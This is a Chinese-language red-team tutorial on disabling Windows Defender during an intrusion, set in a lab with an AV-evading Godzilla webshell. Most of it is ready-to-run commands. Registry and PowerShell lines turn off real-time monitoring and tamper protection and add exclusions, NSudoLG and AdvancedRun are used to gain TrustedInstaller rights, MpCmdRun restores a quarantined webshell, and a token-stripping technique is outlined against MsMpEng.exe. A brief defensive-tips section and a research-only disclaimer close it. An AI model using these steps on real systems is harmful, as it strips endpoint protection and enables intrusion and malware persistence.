红蓝对抗之致盲 Windows defender
字数 1269 2025-08-11 21:26:31
Windows Defender 对抗技术详解
1. Windows Defender 简介
Microsoft Defender 是 Windows 10/11 和 Windows Server 内置的防病毒软件,具有以下特点:
- 集成机器学习、大数据分析和云基础设施
- 作为 Microsoft Defender for Endpoint 的核心组件
- 提供实时保护和下一代威胁防护
2. 环境准备
2.1 测试环境
- 操作系统:Windows Server 2019
- 用户权限:Administrator
- Web环境:phpstudy 8.1.1.3 + Apache 2.4.39 + PHP 7.3.4
2.2 Webshell 免杀
- 使用哥斯拉(Godzilla)的 PHP_XOR_BASE64 加密器生成免杀 webshell
- 静态和动态免杀测试方法
3. 权限要求
3.1 TrustedInstaller 权限
- 全称:NT SERVICE\TrustedInstaller
- 从 Windows Vista 开始引入的内置安全主体
- 拥有修改系统文件的最高权限
- 常规 Administrator 和 System 权限无法直接关闭 Windows Defender
4. 基础命令
4.1 CMD 命令
:: 查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
:: 查看 Defender 版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
:: 查看篡改保护状态(5=开启,4=关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
4.2 PowerShell 命令
# 查看排除项
Get-MpPreference | select ExclusionPath
# 关闭实时监控
Set-MpPreference -DisableRealTimeMonitoring $true
# 添加排除项
Add-MpPreference -ExclusionPath "c:\temp"
# 删除排除项
Remove-MpPreference -ExclusionPath "C:\test"
5. 关闭 Windows Defender 的方法
5.1 注册表方法
:: 关闭 Defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
:: 恢复 Defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
5.2 使用 NSudoLG 工具
:: 获取 TrustedInstaller 权限关闭 Defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"
:: 关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"
5.3 使用 AdvancedRun 工具
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run
5.4 使用 StopDefender 工具
直接运行 StopDefender_x64.exe 即可
6. 高级技巧
6.1 使用 MpCmdRun 恢复被隔离文件
:: 查看被隔离文件列表
MpCmdRun -Restore -ListAll
:: 恢复指定文件
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php
:: 恢复所有文件
MpCmdRun -Restore -All
:: 检查路径是否在排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\
6.2 移除 Token 使 Defender 失效
- Windows Defender 进程 MsMpEng.exe 是受保护进程(PPL)
- 通过移除 MsMpEng.exe 的所有 token 使其无法检测其他进程
- 需要 SYSTEM 权限运行的线程来修改进程 token
7. 工具资源
- NSudoLG 工具
- AdvancedRun 工具
- StopDefender 工具
- Token 移除技术参考:
- https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGw
- https://zhuanlan.zhihu.com/p/538571344
- https://3gstudent.github.io/渗透基础-Windows-Defender
8. 防御建议
- 保持篡改保护(TamperProtection)开启
- 定期检查排除项列表
- 监控注册表关键项的修改
- 限制高权限工具的执行
- 启用高级威胁防护功能
9. 注意事项
- 所有技术和工具都需要 Administrator 或 System 权限
- 部分操作需要 TrustedInstaller 权限才能成功
- 在实际环境中使用这些技术可能违反安全政策
- 本文仅供安全研究和防御参考